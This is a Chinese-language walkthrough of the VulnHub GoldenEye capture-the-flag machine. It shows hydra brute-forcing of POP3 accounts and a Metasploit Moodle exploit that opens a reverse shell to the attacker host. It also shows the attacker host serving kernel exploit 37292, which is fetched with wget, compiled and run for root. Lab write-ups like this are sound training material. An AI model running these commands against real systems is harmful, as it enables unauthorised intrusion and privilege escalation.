前言

“操千曲而后晓声,观千剑而后识器”,下载靶机项目实战提升自我,这是一个涉及到渗透与CTF联合的实战项目。

Descript: 我最近完成了一个OSCP类型的易受攻击机器的创建,它以伟大的詹姆斯·邦德电影(甚至更好的n64游戏)《黄金眼》为主题。目标是获得根并捕获秘密的GoldenEye代码-flag.txt。

我认为它是中级的,它有各种各样的技术来获得root-无漏洞开发/缓冲区溢出。完成OSCP后,我认为这将是一个很好的练习,再加上有一点CTF的味道。

靶场环境

kali:192.168.31.153

靶机:192.168.31.67

靶机下载地址: https://www.vulnhub.com/entry/goldeneye-1,240/

下载完导入到vm即可

GoldenEye靶场渗透实战

访问靶机地址得到以下界面,得到ip,以及web页面,能够进行信息收集,获取端口信息,文件路径和对当前web页面进行检测。

获取端口和检测当前web页面这两个信息收集方向可以作为此次渗透入手点

从上方显示的页面可以了解到他要我们去访问/sev-home/这一目录,而此目录是一个js登录点,很明显要我们无法爆破密码而是要我们自己在当前页面寻找线索破解

返回去原始界面,ctrl + u 获取前端页面源码,发现页面引用了一个terminal.js文件,其中注释了一段话,大致意思是告诉Boris,Natalya能破解他的密码,并且还将编码后的密码写了下来,看到编码是html实体,直接用html实体解码得到 InvincibleHack3r,根据这段话逻辑是发给Boris的,所以用户就是boris,解码得到的字符就是其密码

用户boris,密码InvincibleHack3r,登录成功,得到页面一段英文提示:要向pop3服务存在的非默认高端口发送邮件,言外之意就是要我们找到那个高端口进行爆破登录

利用nmap扫描神器对192.168.31.67扫描高端口 nmap -p 1024-65535 192.168.31.67

发现了55006,55007两个高端口

得到两个pop3端口,根据页面提示我们要对boris,natalya这两个账号进行爆破

预先准备一个密码本,一个写入两个用户名的文本
使用九头蛇hydra爆破
echo 'boris' >> golden.txt
echo 'natalya' >> golden.txt
cat golden.txt

hydra爆破55007
hydra -L golden.txt -P password.txt 192.168.31.67 -s 55007 pop3
得到用户/密码
boris/secret1!
natalya/bird

利用nc登录pop3查看邮箱信息

nc 192.168.31.67 55007
user boirs //登录用户boris
pass secret1! //登录密码secret1!
retr 1 //查看邮件1

第一封邮件:Boris,我是管理员。你可以在这里与同事和学生进行电子交流。我不会扫描电子邮件的安全风险,因为我信任你和这里的其他管理员。

第二封邮件:Boris,我可以破解你的密码

第三封邮件:原文太长,我直接读取含义:要去登录xenia账号查找更多线索

登录natalya账号

第一封:不要再破解boris密码

第二封:获得xenia的账号密码 xenia/RCP90rulez! 并且要在/etc/hosts文件中添加severnaya-station.com域名才能访问severnaya-station.com/gnocertdir

在kali访问severnaya-station.com/gnocertdir地址:发现是一个moodle的开源CMS系统,继续点击界面的相关功能发现需要登陆,利用刚才在邮件中发现的用户名和密码登录

紧接着尝试对xenia账号进行信息收集,最终发现有一个邮件提示到有关于doak的电子邮箱

照旧继续用hydra破解得到 doak/goat 并且登录获取邮件信息

登录查看第一封邮件得到web页面登录用户密码 dr_doak/4England!

回到web界面登录dr_doak,在私人文件里面查找到一个文件夹,其中里面的文本提示了访问一个图片链接:/dir007key/for-007.jpg

访问图片链接并下载下来

一般图片线索都有可能是采用了隐写,kali可用的几种隐写工具:1.kali自带的binwalk 图片路径。2.利用exiftool 图片名称。3.利用strings 图片名称,这里我直接采用strings

破解得到一串bas64编码的字符,使用burp的decode base64解码得admin的密码:xWinter1995x!

登录admin账号收集信息,发现并没有什么有用的,但是发现了moodle是2.2.3版本的,在百度搜了一下发现Moodle有一个CVE-2013-3630漏洞,到此有两种方法继续getshell,1.选择去网上下载exp脚本获取权限,2.利用msf工具集成的漏洞exp进行getshell

以下我选择msf的集成化环境做测试,打开msf搜索moodle就会浮现已经集成好的漏洞exp

msfconsole    //开启msf
search moodle //搜索moodle相关的exp
use 1 //使用编号1的exp
show payloads //查找载荷
set payload 5 //设置载荷5
set PASSWORD xWinter1995x! //设置用户密码
set RHOSTS severnaya-station.com //设置目标站点
set targeturi /gnocertdir //设置目标路径
set lhost 192.168.31.153 //设置本地站点
show options //查看当前配置
run //运行

发现getshell失败,找了一圈,尝试了很多次发现在

Page path

Home / ► Site administration / ► Plugins / ► Text editors / ► TinyMCE HTML editor处有拼写引擎和语言识别,可以选择PSpellShell(Power Spell Shell ),Google Spell,PShell,我们选择PSpellShell可以与msf的exp形成互联,保存配置(save change)

回到msf重新执行exp,会返回一个后台终端,到此getshell成功

接着我们对后台进行信息收集,查找系统漏洞

python -c 'import pty; pty.spawn("/bin/bash")'  //一开始获取的权限没有linux框架,使用shell pty转化

使用cat /proc/version命令查看内核版本信息,发现是Linux ubuntu 3.13.0-32

在浏览器搜索该版本是否存在漏洞,ubuntu 3.13.0存在内核溢出漏洞,在kali中编号为37292的c脚本,在kali使用searchsploit命令检索相关漏洞exp执行脚本

searchsploit 37292   //检索编号
find / -name 37292.c //查找路径

cp /usr/share/exploitdb/exploits/linux/local/37292.c  /root/37292.c  //复制到root路径下
vim 37292.c //修改脚本,将gcc 改为cc,保存退出

使用python开启本地目录http服务
python3 -m http.server 8081
在msf获取到的后台执行以下命令,使用wget命令下载脚本
wget http://192.168.31.153:8081/37292.c

使用cc编译37292.c脚本为exp
cc -o exp 37292.c
chmod +x exp //给予执行权限
./exp //执行脚本

总结

1.信息收集:(1)前端js信息收集 (2)nmap端口扫描 (3)html实体解码 (4)收集用户敏感信息 (5)内核系统信息收集 (5)图片隐写

2.渗透:(1)hydra暴力破解 (2)利用msf集成exp getshell (3)内核溢出漏洞利用

3.多多动手实战,继续加油!

GoldenEye项目实战的更多相关文章

  1. Asp.Net Core 项目实战之权限管理系统(4) 依赖注入、仓储、服务的多项目分层实现

    0 Asp.Net Core 项目实战之权限管理系统(0) 无中生有 1 Asp.Net Core 项目实战之权限管理系统(1) 使用AdminLTE搭建前端 2 Asp.Net Core 项目实战之 ...

  2. 给缺少Python项目实战经验的人

    我们在学习过程中最容易犯的一个错误就是:看的多动手的少,特别是对于一些项目的开发学习就更少了! 没有一个完整的项目开发过程,是不会对整个开发流程以及理论知识有牢固的认知的,对于怎样将所学的理论知识应用 ...

  3. 【腾讯Bugly干货分享】React Native项目实战总结

    本文来自于腾讯bugly开发者社区,非经作者同意,请勿转载,原文地址:http://dev.qq.com/topic/577e16a7640ad7b4682c64a7 “8小时内拼工作,8小时外拼成长 ...

  4. Asp.Net Core 项目实战之权限管理系统(0) 无中生有

    0 Asp.Net Core 项目实战之权限管理系统(0) 无中生有 1 Asp.Net Core 项目实战之权限管理系统(1) 使用AdminLTE搭建前端 2 Asp.Net Core 项目实战之 ...

  5. Asp.Net Core 项目实战之权限管理系统(1) 使用AdminLTE搭建前端

    0 Asp.Net Core 项目实战之权限管理系统(0) 无中生有 1 Asp.Net Core 项目实战之权限管理系统(1) 使用AdminLTE搭建前端 2 Asp.Net Core 项目实战之 ...

  6. Asp.Net Core 项目实战之权限管理系统(2) 功能及实体设计

    0 Asp.Net Core 项目实战之权限管理系统(0) 无中生有 1 Asp.Net Core 项目实战之权限管理系统(1) 使用AdminLTE搭建前端 2 Asp.Net Core 项目实战之 ...

  7. Asp.Net Core 项目实战之权限管理系统(3) 通过EntityFramework Core使用PostgreSQL

    0 Asp.Net Core 项目实战之权限管理系统(0) 无中生有 1 Asp.Net Core 项目实战之权限管理系统(1) 使用AdminLTE搭建前端 2 Asp.Net Core 项目实战之 ...

  8. Asp.Net Core 项目实战之权限管理系统(5) 用户登录

    0 Asp.Net Core 项目实战之权限管理系统(0) 无中生有 1 Asp.Net Core 项目实战之权限管理系统(1) 使用AdminLTE搭建前端 2 Asp.Net Core 项目实战之 ...

  9. Asp.Net Core 项目实战之权限管理系统(6) 功能管理

    0 Asp.Net Core 项目实战之权限管理系统(0) 无中生有 1 Asp.Net Core 项目实战之权限管理系统(1) 使用AdminLTE搭建前端 2 Asp.Net Core 项目实战之 ...

  10. Asp.Net Core 项目实战之权限管理系统(7) 组织机构、角色、用户权限

    0 Asp.Net Core 项目实战之权限管理系统(0) 无中生有 1 Asp.Net Core 项目实战之权限管理系统(1) 使用AdminLTE搭建前端 2 Asp.Net Core 项目实战之 ...

随机推荐

  1. 拒绝“爆雷”!GaussDB(for MySQL)新上线了这个功能

    摘要:智能把控大数据量查询,防患系统奔溃于未然. 本文分享自华为云社区<拒绝"爆雷"!GaussDB(for MySQL)新上线了这个功能>,作者:GaussDB 数据 ...

  2. ES5新增数组常见方法(indexof/forEach/map/filter)

    新增的数组常见方法:以下说明中,红色为必选参数,蓝色为可选参数 1.indexOf(data,start); 用于返回某个数组或者字符串中规定字符或者字符串的位置: var arr = [" ...

  3. 案例: 利用 Hugging Face 进行复杂文本分类

    Witty 与 Hugging Face 专家加速计划的成功案例 如果你对如何更快构建 ML 解决方案感兴趣,请访问 专家加速计划 登陆页面并通过 填写表单 联系我们! 业务背景 随着 IT 技术不断 ...

  4. Service Mesh之Istio基础入门

    技术背景 分布式服务治理 所谓分布式服务治理就是对服务不断增长的复杂度的管控和管理:管控及管理包含网络拓扑变动.网络延时.通信安全.API网关.服务注册和发现.服务熔断容错.服务超时重试.服务部署.数 ...

  5. Flask框架使用蓝图划分目录、g对象、使用数据库连接池链接数据库

    目录 一.使用蓝图划分项目目录 1.蓝图的介绍 2.蓝图的使用 二.介绍flask框架的g对象 1. g对象是什么? 2. 使用代码再次解释g对象 三.使用数据库连接池链接数据库 1. 引入数据库连接 ...

  6. R语言文本数据挖掘(四)

    文本分词,就是对文本进行合理的分割,从而可以比较快捷地获取关键信息.例如,电商平台要想了解更多消费者的心声,就需要对消费者的文本评论数据进行内在信息的数据挖掘分析,而文本分词是文本挖掘的重要步骤.R语 ...

  7. [Linux]CentOS7搭建/配置:YUM仓库/源[本地源/Web源(Apache HTTP(D))/自建源仓库]

    若想搞懂整个配置过程和原理,就按照章节(1 / 2)一步一步地来. 若想直接一步到位,不想花过多时间,尽快配好,就直接看附件章节. 什么是yum源? Yum(全称为 Yellow dog Update ...

  8. 【Java SE】网络编程

    1. 网络编程概述 网络编程的目的:直接或者间接地通过网络协议与其他计算机实现数据交换,进行通讯. 网络编程两个主要的问题: ①如何精准地定位网络上的一台或多台主机,并定位主机上的特定应用 ②找到主机 ...

  9. 开心档之MySQL ALTER命令

    MySQL ALTER命令 当我们需要修改数据表名或者修改数据表字段时,就需要使用到MySQL ALTER命令. 开始本章教程前让我们先创建一张表,表名为:testalter_tbl. root@ho ...

  10. 音频处理库性能对比:计算mel频谱的速度哪个更快?

    介绍 音频信号处理在各种应用中都发挥着重要的作用,如语音识别.音乐信息检索.语音合成等.其中,Mel频谱是一种常用的频域特征表示方法,用于描述人类听觉系统对频率的敏感程度. 在深度学习音频领域,mel ...